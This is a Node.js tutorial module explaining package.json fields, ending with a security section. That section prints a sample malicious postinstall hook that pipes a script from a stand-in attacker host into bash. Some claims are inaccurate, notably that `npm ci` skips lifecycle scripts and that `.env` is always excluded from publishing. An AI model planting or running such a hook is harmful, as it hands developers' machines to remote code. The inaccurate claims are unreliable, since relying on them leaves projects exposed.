Skip to content

mod_04 - package.json

package.json is the identity document for every Node project
It tells npm what your project is called , what it depends on , how to run it , and - if you publish - what to include and who can install it. Misconfigure it and your package either doesn't work , isn't findable , or accidentally publishes your .env file to the entire internet

anatomy of package.json

{
  "name": "@0x1ris/parser",
  "version": "1.2.3",
  "description": "A parser that doesn't suck",
  "main": "./dist/index.js",
  "type": "module",
  "scripts": {
    "start": "node dist/index.js",
    "test": "jest",
    "build": "tsc",
    "lint": "eslint src/"
  },
  "keywords": ["parser", "security", "cli"],
  "author": "Mahmoud",
  "license": "MIT",
  "engines": {
    "node": ">=18.0.0"
  },
  "private": true,
  "dependencies": {
    "commander": "^11.0.0"
  },
  "devDependencies": {
    "typescript": "^5.3.0",
    "jest": "^29.0.0",
    "eslint": "^8.0.0"
  }
}

critical fields

name and version

The name forms the package's identity on the npm registry

{
  "name": "my-package",
  "version": "1.0.0"
}

Naming rules: * Must be lowercase - one word or hyphenated * Can be scoped: @scope/package-name (for organizations) * No url-unsafe characters (no spaces, no special chars except - and .) * Must be unique on the npm registry unless scoped

version must be valid semver: MAJOR.MINOR.PATCH. npm refuses to publish without a proper semver string

description

Shows up in npm search results. Make it descriptive. "A parser" tells me nothing. "Zero-dependency CSV parser with streaming support" tells me everything

main

Entry point for CommonJS consumers

{
  "main": "./dist/index.js"
}

When someone require('your-package'), Node loads the file at this path. If you're publishing both ESM and CJS builds , use "exports" field instead

type

Controls how .js files are interpreted

{
  "type": "module"  // All .js files are ES modules
}

Options: * "module" - treats .js as ESM (default for new packages) * "commonjs" - treats .js as CJS (Node's original default) * Omitted - defaults to "commonjs"

This field has no effect on .mjs (always ESM) and .cjs (always CJS) files

exports

The modern replacement for "main" - supports conditional exports and subpath exports

{
  "exports": {
    ".": {
      "import": "./dist/index.js",
      "require": "./dist/index.cjs"
    },
    "./utils": {
      "import": "./dist/utils.js",
      "require": "./dist/utils.cjs"
    }
  }
}

This lets consumers do import { thing } from 'your-package' or import { util } from 'your-package/utils'. Without "exports", subpath imports are undefined behavior (Node warns if you try)

Conditional exports also support environments:

{
  "exports": {
    ".": {
      "node": "./dist/node.js",
      "browser": "./dist/browser.js",
      "default": "./dist/default.js"
    }
  }
}

Important: When "exports" is present, "main" is ignored for Node 12.7+. If you set "exports" , everything must be defined there - consumers can't access files outside the exports map. This is actually a security feature: it prevents code from importing internal files that aren't part of your public API

scripts

A dictionary of command-line script aliases - npm's built-in task runner

{
  "scripts": {
    "start": "node server.js",
    "test": "jest --coverage",
    "lint": "eslint .",
    "build": "tsc",
    "format": "prettier --write .",
    "precommit": "npm run lint && npm run test"
  }
}

Scripts run via npm run <script-name>. Predefined scripts like start, test, and stop can run without run: npm start or npm test

engine requirements

{
  "engines": {
    "node": ">=18.0.0",
    "npm": ">=9.0.0"
  }
}

Warning: This field is a request, not enforcement.
npm warns if the installed Node version doesn't match, but it doesn't block installation. Users on Node 16 can install your package that requires Node 18 - it'll break at runtime , not install time

# You'll see this warning during npm install:
# npm WARN EBADENGINE my-package@1.0.0 requires a peer of node@>=18.0.0 but none was installed

For stricter enforcement, check in your code:

const semver = require('semver')
const required = '>=18.0.0'

if (!semver.satisfies(process.version, required)) {
  console.error(`Node ${process.version} is not supported. Required: ${required}`)
  process.exit(1)
}

private: true

Prevents accidental publication to the npm registry

{
  "private": true
}

When "private": true , npm publish fails. This is essential for internal/company projects. You'd be surprised how many companies accidentally publish internal tools because someone ran npm publish without realizing the project wasn't flagged private

# Attempting to publish a private package:
# npm ERR! This package has been marked as private
# npm ERR! Remove the 'private' field from package.json to publish it.

files field

Controls which files are included when publishing

{
  "files": [
    "dist/",
    "LICENSE",
    "README.md",
    "package.json"
  ]
}

By default , npm includes everything except .gitignored files and certain always-excluded files (like .env). The "files" field lets you whitelist what gets published. This is critical - without it , your tests , source maps , and development config files end up on the registry

Files always excluded (even if you don't set "files"): * .env * .git/ * *.orig * .npmrc * Any file in .npmignore

Files always included (even if you don't set "files"): * package.json * README.md * LICENSE

repository and bugs

Helps users find the source code and report issues

{
  "repository": {
    "type": "git",
    "url": "git+https://github.com/0x1ris/my-package.git"
  },
  "bugs": {
    "url": "https://github.com/0x1ris/my-package/issues"
  },
  "homepage": "https://github.com/0x1ris/my-package#readme"
}

These fields power the repository link on the npm package page. They also enable npm bugs and npm repo commands which open the URLs in your browser

npm bugs my-package   # opens the issues page
npm repo my-package   # opens the repository

security: field validation

package.json is loaded from the filesystem at runtime
If someone can modify your project's package.json , they can change the "main" field to point to a malicious file , add a "postinstall" script that phones home , or modify "scripts" to run arbitrary commands

{
  "scripts": {
    "postinstall": "curl -s http://malicious-server.example.com/steal.sh | bash"
  }
}

This is why npm install in CI should use npm ci (which doesn't run lifecycle scripts unless explicitly configured) and why you should validate dependencies before installation

Best practices: * Never run npm install with raw untrusted package.json files * Always review package.json changes in code review - especially scripts and dependencies * Use "private": true for internal projects * Set "files" to whitelist published content * Validate "engines" at startup if compatibility is critical

summary

  • name + version form package identity - both required for publishing
  • "type": "module" enables ESM for .js files
  • "exports" replaces "main" for modern packages with conditional exports
  • "scripts" defines command aliases - npm's built-in task runner
  • "private": true prevents accidental publishing
  • "files" whitelists what gets published - prevents leaking internals
  • "engines" is advisory , not enforced - validate at runtime if needed
  • Lifecycle scripts (preinstall, postinstall) are RCE vectors - review carefully

prerequisites

mod_03_npm.md - npm install , lockfiles , semver

next -> mod_05_scripts.md